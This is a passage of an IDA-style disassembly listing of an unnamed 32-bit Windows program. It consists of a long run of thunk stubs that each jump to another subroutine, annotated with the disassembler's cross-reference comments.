		jmp	sub_419010
sub_401762	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401767	proc near		; CODE XREF: ___:0041886Cp
		jmp	sub_418490
sub_401767	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40176C	proc near		; CODE XREF: ___:00416A1Bp
					; ___:00416CE3p ...
		jmp	sub_416CC0
sub_40176C	endp

; ---------------------------------------------------------------------------
		jmp	loc_420DC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401776	proc near		; CODE XREF: ___:00416DBFp
		jmp	sub_417D30
sub_401776	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40177B	proc near		; CODE XREF: sub_42F840+5Dp
					; sub_430810+2Cp ...
		jmp	sub_430FE0
sub_40177B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E2A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401785	proc near		; CODE XREF: ___:00426080p
		jmp	sub_427590
sub_401785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40178A	proc near		; CODE XREF: ___:00425467p
		jmp	sub_425270
sub_40178A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40178F	proc near		; CODE XREF: ___:00416E9Ap
		jmp	sub_418260
sub_40178F	endp

; ---------------------------------------------------------------------------
		jmp	loc_431F10
; ---------------------------------------------------------------------------
		jmp	loc_42EEB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40179E	proc near		; CODE XREF: ___:00427FC3p sub_428020j ...
		jmp	sub_427EF0
sub_40179E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017A3	proc near		; CODE XREF: ___:00416ACBp
					; ___:00416C93p ...
		jmp	sub_416C60
sub_4017A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017A8	proc near		; DATA XREF: ___:off_43E17Co
		jmp	sub_42A100
sub_4017A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017AD	proc near		; CODE XREF: sub_42FF50+D7p
		jmp	sub_431730
sub_4017AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B2	proc near		; CODE XREF: sub_40AE80+5j
					; ___:loc_4300DDp
		jmp	sub_431380
sub_4017B2	endp

; ---------------------------------------------------------------------------
		jmp	loc_430130

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017BC	proc near		; CODE XREF: sub_4253E0+10p
					; sub_4254E0+3Dp
		jmp	sub_4254B0
sub_4017BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017C1	proc near		; CODE XREF: sub_40AEA0+5j
					; ___:loc_4300E5p ...
		jmp	sub_4313A0
sub_4017C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017C6	proc near		; DATA XREF: ___:off_43E000o
		jmp	sub_404C70
sub_4017C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017CB	proc near		; CODE XREF: sub_424800+1Ep
					; sub_424840+A6p ...
		jmp	sub_424790
sub_4017CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D0	proc near		; CODE XREF: ___:00416A8Bp
					; ___:00439F34j ...
		jmp	sub_417960
sub_4017D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D5	proc near		; CODE XREF: sub_416120+11p
					; ___:00416147p ...
		jmp	sub_4166F0
sub_4017D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DA	proc near		; CODE XREF: sub_415910+3p
					; ___:0041616Fp ...
		jmp	sub_4163A0
sub_4017DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017DF	proc near		; CODE XREF: sub_415520+5Ep
					; sub_415F30+32p
		jmp	sub_415E70
sub_4017DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017E4	proc near		; CODE XREF: sub_4034E0+DBp
					; sub_403FC0+3Fp ...
		jmp	sub_40A720
sub_4017E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017E9	proc near		; CODE XREF: ___:00421DAAp
		jmp	sub_422370
sub_4017E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017EE	proc near
		jmp	sub_40B210
sub_4017EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017F3	proc near		; CODE XREF: sub_406890+205p
		jmp	sub_41B820
sub_4017F3	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017FD	proc near		; CODE XREF: ___:00426A13p
		jmp	sub_426A40
sub_4017FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401802	proc near		; CODE XREF: sub_41E660+FFp
					; sub_41E660+179p ...
		jmp	sub_421A80
sub_401802	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401807	proc near		; CODE XREF: sub_40A110+7p
		jmp	sub_40A130
sub_401807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40180C	proc near		; CODE XREF: sub_40B430+76p
		jmp	sub_40B390
sub_40180C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401811	proc near		; CODE XREF: ___:00423E93p
					; DATA XREF: ___:off_44444Co
		jmp	sub_425020
sub_401811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401816	proc near		; CODE XREF: sub_41E660+18Ep
					; ___:0043B183j
		jmp	sub_4218F0
sub_401816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40181B	proc near		; DATA XREF: ___:off_43E10Co
		jmp	sub_426F20
sub_40181B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401820	proc near		; CODE XREF: ___:00416DDFp
		jmp	sub_417DF0
sub_401820	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EC20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182A	proc near		; CODE XREF: sub_41E660+3BCp
					; sub_4225B0+3p
		jmp	sub_421C50
sub_40182A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182F	proc near		; CODE XREF: sub_4266A0+90p
		jmp	sub_426960
sub_40182F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401834	proc near		; CODE XREF: ___:0042436Dp
					; sub_424840+135p
		jmp	sub_4243A0
sub_401834	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401839	proc near		; CODE XREF: sub_40BE40+3p
					; ___:0040BF0Fp ...
		jmp	sub_40C080
sub_401839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40183E	proc near		; CODE XREF: sub_4070F0+36p
					; sub_4070F0+72p ...
		jmp	sub_407340
sub_40183E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401843	proc near		; CODE XREF: ___:00413181p
		jmp	sub_415680
sub_401843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401848	proc near		; CODE XREF: ___:0040B9D1p
					; ___:0040BA98p ...
		jmp	sub_412AA0
sub_401848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40184D	proc near		; CODE XREF: ___:00431FEFp
					; ___:004320FFp ...
		jmp	sub_431B30
sub_40184D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401852	proc near		; DATA XREF: ___:004322AAo
					; ___:00432410o
		jmp	sub_431BA0
sub_401852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401857	proc near		; CODE XREF: sub_416360+7p
		jmp	sub_416740
sub_401857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40185C	proc near		; CODE XREF: sub_418330+34p
		jmp	sub_404C20
sub_40185C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401861	proc near		; CODE XREF: sub_4034E0+7Ap
					; sub_4034E0+9Ep ...
		jmp	sub_409B40
sub_401861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401866	proc near		; CODE XREF: sub_420530+152p
		jmp	sub_4207A0
sub_401866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40186B	proc near		; CODE XREF: ___:0041A228p
					; sub_41B010+3p ...
		jmp	sub_41B040
sub_40186B	endp

; ---------------------------------------------------------------------------
		jmp	loc_429D70
; ---------------------------------------------------------------------------
		jmp	loc_41C0E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40187A	proc near		; CODE XREF: ___:00416A4Bp
					; ___:00439F6Cj ...
		jmp	sub_416D10
sub_40187A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40187F	proc near		; CODE XREF: sub_40FF60+217p
					; sub_41FD90+4Cp ...
		jmp	sub_41FD50
sub_40187F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401884	proc near		; CODE XREF: sub_429AA0+9Dp
		jmp	sub_428160
sub_401884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401889	proc near		; CODE XREF: ___:0042C005p
		jmp	sub_427DC0
sub_401889	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40188E	proc near		; DATA XREF: ___:0043E184o
		jmp	sub_42A150
sub_40188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401893	proc near		; CODE XREF: sub_41B4B0+DDp
		jmp	sub_41AD30
sub_401893	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401898	proc near
		jmp	sub_432ED0
sub_401898	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40189D	proc near		; CODE XREF: ___:004141C5p
					; sub_414D40+1B2p
		jmp	sub_413DA0
sub_40189D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A2	proc near		; CODE XREF: sub_411FE0+1B6p
		jmp	sub_40A110
sub_4018A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A7	proc near		; CODE XREF: sub_41E660+5ABp
		jmp	sub_4203D0
sub_4018A7	endp

; ---------------------------------------------------------------------------
		jmp	loc_431D10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B1	proc near		; CODE XREF: sub_40A910+14p
		jmp	sub_40ABC0
sub_4018B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B6	proc near		; CODE XREF: sub_413510+B4p
					; ___:00414B90p ...
		jmp	sub_415620
sub_4018B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018BB	proc near		; CODE XREF: sub_41A2B0+6Dp
					; sub_41A2B0+1B5p
		jmp	sub_41AF60
sub_4018BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C0	proc near		; CODE XREF: ___:004310DAp
		jmp	sub_430A90
sub_4018C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C5	proc near		; CODE XREF: sub_418E90+5Fp
		jmp	sub_419030
sub_4018C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CA	proc near		; CODE XREF: ___:00416A9Bp
					; ___:00439F26j ...
		jmp	sub_4178F0
sub_4018CA	endp

; ---------------------------------------------------------------------------
		jmp	loc_419DD0
; ---------------------------------------------------------------------------
		jmp	sub_41A0E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018D9	proc near		; CODE XREF: sub_41E660+46p
		jmp	sub_4218B0
sub_4018D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018DE	proc near		; CODE XREF: ___:0042C135p
		jmp	sub_4299C0
sub_4018DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018E3	proc near		; CODE XREF: sub_422130+7p
		jmp	sub_422520
sub_4018E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018E8	proc near		; CODE XREF: sub_421FB0+9p
					; sub_422410+18p
		jmp	sub_422590
sub_4018E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018ED	proc near		; CODE XREF: sub_4221B0+8p
		jmp	sub_422570
sub_4018ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018F2	proc near		; CODE XREF: sub_4133D0+43p
					; sub_4147D0+4Fp ...
		jmp	sub_415730
sub_4018F2	endp

; ---------------------------------------------------------------------------
		jmp	loc_430A10

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018FC	proc near		; CODE XREF: sub_4219D0+1Fp
		jmp	sub_421D50
sub_4018FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401901	proc near		; CODE XREF: sub_4218B0+11p
					; sub_421D50+1Fp
		jmp	sub_421E80
sub_401901	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401906	proc near		; CODE XREF: sub_40B390+6Dp
		jmp	sub_40BD90
sub_401906	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40190B	proc near		; CODE XREF: sub_409450+13p
		jmp	sub_409580
sub_40190B	endp

; ---------------------------------------------------------------------------
		jmp	loc_4365C0
; ---------------------------------------------------------------------------
		jmp	sub_41B010
; ---------------------------------------------------------------------------


loc_40191A:				; DATA XREF: ___:off_43E068o
		jmp	loc_416CE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40191F	proc near		; CODE XREF: ___:00413B31p
		jmp	sub_4139B0
sub_40191F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401924	proc near		; CODE XREF: ___:00413193p
					; sub_413220+32p
		jmp	sub_4154D0
sub_401924	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401929	proc near		; CODE XREF: ___:00416B4Bp
					; ___:00439E8Cj ...
		jmp	sub_417020
sub_401929	endp

; ---------------------------------------------------------------------------
		jmp	loc_4310A0
; ---------------------------------------------------------------------------
		jmp	loc_4334F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401938	proc near		; CODE XREF: sub_41C610+F1p
					; sub_41C610+270p ...
		jmp	sub_420E10
sub_401938	endp

; ---------------------------------------------------------------------------
		jmp	loc_40A400

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401942	proc near		; CODE XREF: sub_404C70+283p
					; sub_40ED70+D2p ...
		jmp	sub_40EF90
sub_401942	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401947	proc near		; CODE XREF: sub_4218F0+34p
					; sub_422240+67p
		jmp	sub_421ED0
sub_401947	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40194C	proc near		; CODE XREF: sub_404C70+BF7p
		jmp	sub_4066E0
sub_40194C	endp

; ---------------------------------------------------------------------------
		jmp	loc_432360
; ---------------------------------------------------------------------------


loc_401956:				; DATA XREF: sub_41FC00+39o
		jmp	loc_41FB30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40195B	proc near		; CODE XREF: ___:0041A19Ep
					; sub_41A2B0+Bp ...
		jmp	sub_41A290
sub_40195B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401960	proc near		; CODE XREF: ___:0041AB86p
					; ___:0041AC66p
		jmp	sub_41A890
sub_401960	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401965	proc near
		jmp	sub_419220
sub_401965	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196A	proc near		; CODE XREF: sub_411910+2Ep
					; sub_411B10+3p
		jmp	sub_411A50
sub_40196A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196F	proc near		; CODE XREF: sub_41E660+F5p
					; sub_41E660+16Fp ...
		jmp	sub_4219A0
sub_40196F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401974	proc near		; CODE XREF: sub_409450+4p
					; sub_409600+1Fp ...
		jmp	sub_409500
sub_401974	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401979	proc near
		jmp	sub_409A30
sub_401979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40197E	proc near		; CODE XREF: sub_41F860+20p
					; sub_429AA0+37p
		jmp	sub_41FE50
sub_40197E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401983	proc near		; CODE XREF: sub_413510+4Ap
					; ___:00414B3Fp ...
		jmp	sub_415420
sub_401983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401988	proc near		; CODE XREF: sub_40A430+A8p
		jmp	sub_40A850
sub_401988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40198D	proc near		; CODE XREF: sub_40CBB0+41p
		jmp	sub_40CE60
sub_40198D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401992	proc near		; CODE XREF: ___:00433405p
					; ___:00433505p
		jmp	sub_433160
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401997	proc near		; CODE XREF: sub_4218F0+29p
		jmp	sub_421DF0
sub_401997	endp

; ---------------------------------------------------------------------------
		jmp	loc_42ECF0
; ---------------------------------------------------------------------------
		jmp	loc_42ECC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A6	proc near		; CODE XREF: sub_40A790+Dp
					; sub_40A9F0+91p
		jmp	sub_40A910
sub_4019A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019AB	proc near		; CODE XREF: sub_422050+23p
					; sub_422410+11p
		jmp	sub_4225B0
sub_4019AB	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AB20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019B5	proc near		; CODE XREF: sub_403FC0+2Cp
					; ___:0040403Fp ...
		jmp	sub_4034E0
sub_4019B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019BA	proc near		; CODE XREF: sub_422750+6p
		jmp	sub_4227C0
sub_4019BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019BF	proc near		; DATA XREF: ___:off_43E050o
		jmp	sub_416C30
sub_4019BF	endp

; ---------------------------------------------------------------------------
		jmp	sub_40FD70

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019C9	proc near		; CODE XREF: sub_407410+4p
		jmp	sub_407540
sub_4019C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019CE	proc near		; CODE XREF: ___:0040B629p
					; ___:0040BA46p ...
		jmp	sub_40B520
sub_4019CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019D3	proc near		; CODE XREF: sub_40FF60+AF4p
					; sub_40FF60+E6Ap
		jmp	sub_411B10
sub_4019D3	endp

; ---------------------------------------------------------------------------
		jmp	loc_432940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019DD	proc near		; CODE XREF: sub_4144D0+CEp
		jmp	sub_414640
sub_4019DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019E2	proc near		; DATA XREF: ___:0043E1C8o
		jmp	sub_42B880
sub_4019E2	endp

; ---------------------------------------------------------------------------


loc_4019E7:				; DATA XREF: ___:off_43E0D0o
		jmp	loc_41D730

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019EC	proc near		; CODE XREF: sub_421A10+3p
		jmp	sub_421F30
sub_4019EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019F1	proc near		; CODE XREF: ___:00416D8Fp
		jmp	sub_40B0B0
sub_4019F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019F6	proc near
		jmp	sub_4132E0
sub_4019F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019FB	proc near		; CODE XREF: sub_41E660+477p
		jmp	sub_4200F0
sub_4019FB	endp

; ---------------------------------------------------------------------------
		jmp	loc_421850

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A05	proc near		; DATA XREF: ___:0043E124o
		jmp	sub_427650
sub_401A05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A0A	proc near
		jmp	sub_411B40
sub_401A0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A0F	proc near		; CODE XREF: sub_4331D0+92p
		jmp	sub_430940
sub_401A0F	endp

; ---------------------------------------------------------------------------
		jmp	loc_427FC0
; ---------------------------------------------------------------------------
		jmp	loc_426A10

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A1E	proc near		; CODE XREF: sub_421DF0+32p
		jmp	sub_422240
sub_401A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A23	proc near		; CODE XREF: ___:00416ADBp
					; sub_416C30+3p ...
		jmp	sub_416C00
sub_401A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A28	proc near		; CODE XREF: ___:00423A04p
					; ___:004272F8p ...
		jmp	sub_420D00
sub_401A28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A2D	proc near		; CODE XREF: sub_422210+Ap
		jmp	sub_422620
sub_401A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A32	proc near		; CODE XREF: ___:00412ECFp
					; ___:00412F84p ...
		jmp	sub_404640
sub_401A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A37	proc near		; CODE XREF: sub_409450+1Ap
					; sub_409530+4p ...
		jmp	sub_4094C0
sub_401A37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A3C	proc near		; DATA XREF: ___:off_43E028o
		jmp	sub_40FD70
sub_401A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A41	proc near		; DATA XREF: ___:0043E0E4o
		jmp	sub_4266A0
sub_401A41	endp

; ---------------------------------------------------------------------------
		jmp	loc_409D50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A4B	proc near		; CODE XREF: sub_415AA0+1Ep
		jmp	sub_416550
sub_401A4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A50	proc near		; CODE XREF: ___:0042F2F0p
					; sub_430F00+36p ...
		jmp	sub_430340
sub_401A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A55	proc near		; CODE XREF: sub_4137E0+3Ep
		jmp	sub_433900
sub_401A55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A5A	proc near		; CODE XREF: sub_4149A0+3p
		jmp	sub_4149D0
sub_401A5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A5F	proc near		; CODE XREF: ___:004081D0p
					; ___:00408661p
		jmp	sub_409490
sub_401A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A64	proc near		; DATA XREF: ___:0043E0E0o
					; ___:0043E0F0o ...
		jmp	sub_4263D0
sub_401A64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A69	proc near		; CODE XREF: sub_41D830+1ADp
		jmp	sub_42C810
sub_401A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A6E	proc near		; CODE XREF: sub_420530+191p
					; sub_4227C0+3p ...
		jmp	sub_4207C0
sub_401A6E	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EFF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A78	proc near		; CODE XREF: sub_4225E0+5p
		jmp	sub_422750
sub_401A78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A7D	proc near		; CODE XREF: ___:00416E4Ap
		jmp	sub_418100
sub_401A7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A82	proc near		; CODE XREF: sub_407220+5p
					; sub_407310+6p ...
		jmp	sub_407460
sub_401A82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A87	proc near		; CODE XREF: sub_4034E0+90p
					; sub_404C70+40Fp ...
		jmp	sub_40A6A0
sub_401A87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A8C	proc near		; CODE XREF: sub_41D830+2FFp
					; sub_41EF30+52Fp
		jmp	sub_41FD90
sub_401A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A91	proc near		; CODE XREF: ___:00431DCAp
		jmp	sub_42F840
sub_401A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A96	proc near		; CODE XREF: sub_415490+1Fp
		jmp	sub_415DD0
sub_401A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A9B	proc near		; CODE XREF: sub_4034E0+E5p
					; sub_409E70+Fp ...
		jmp	sub_409DA0
sub_401A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA0	proc near		; CODE XREF: sub_431560+17p
					; sub_431560+33p
		jmp	sub_433710
sub_401AA0	endp

; ---------------------------------------------------------------------------
		jmp	loc_433480
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------


loc_401AAF:				; DATA XREF: ___:off_43E0FCo
		jmp	loc_426A10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AB4	proc near		; CODE XREF: sub_424E90+E5p
					; sub_424E90+120p
		jmp	sub_424D40
sub_401AB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AB9	proc near		; DATA XREF: ___:off_43E034o
		jmp	sub_411FE0
sub_401AB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ABE	proc near		; DATA XREF: ___:0041FB33o
		jmp	sub_41FA90
sub_401ABE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AC3	proc near		; CODE XREF: sub_4070F0+Bp
		jmp	sub_4072D0
sub_401AC3	endp

; ---------------------------------------------------------------------------
		jmp	loc_432BA0
; ---------------------------------------------------------------------------


loc_401ACD:				; DATA XREF: ___:off_43E020o
		jmp	loc_40B8D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD2	proc near		; CODE XREF: sub_403EE0+2Bp
					; sub_403EE0+3Bp ...
		jmp	sub_403D10
sub_401AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD7	proc near		; CODE XREF: sub_413510+66p
					; sub_413510+CAp ...
		jmp	sub_415650
sub_401AD7	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B780

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AE1	proc near
		jmp	sub_4227F0
sub_401AE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AE6	proc near		; CODE XREF: ___:00416B2Bp
					; ___:00439EA8j ...
		jmp	sub_40B170
sub_401AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AEB	proc near		; CODE XREF: ___:00421764p
					; ___:0042179Ep
		jmp	sub_4215D0
sub_401AEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AF0	proc near		; CODE XREF: sub_404BE0+15p
		jmp	sub_4070F0
sub_401AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AF5	proc near		; DATA XREF: ___:off_43E0BCo
		jmp	sub_41A0E0
sub_401AF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AFA	proc near		; CODE XREF: ___:00416F0Fp
		jmp	sub_418900
sub_401AFA	endp

; ---------------------------------------------------------------------------


loc_401AFF:				; CODE XREF: ___:00438C76j
		jmp	loc_40CAF0
; ---------------------------------------------------------------------------


loc_401B04:				; DATA XREF: ___:off_43E16Co
		jmp	loc_429D70

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B09	proc near		; CODE XREF: sub_416FB0+28p
		jmp	sub_418890
sub_401B09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B0E	proc near		; CODE XREF: ___:004319E7p
		jmp	sub_431A20
sub_401B0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B13	proc near		; CODE XREF: sub_42FF50+Bp
		jmp	sub_4303D0
sub_401B13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B18	proc near
		jmp	sub_40AEA0
sub_401B18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B1D	proc near		; CODE XREF: ___:00418C7Bp
					; sub_418E90+28p ...
		jmp	sub_418F50
sub_401B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B22	proc near		; DATA XREF: ___:off_43E1B0o
		jmp	sub_42B4F0
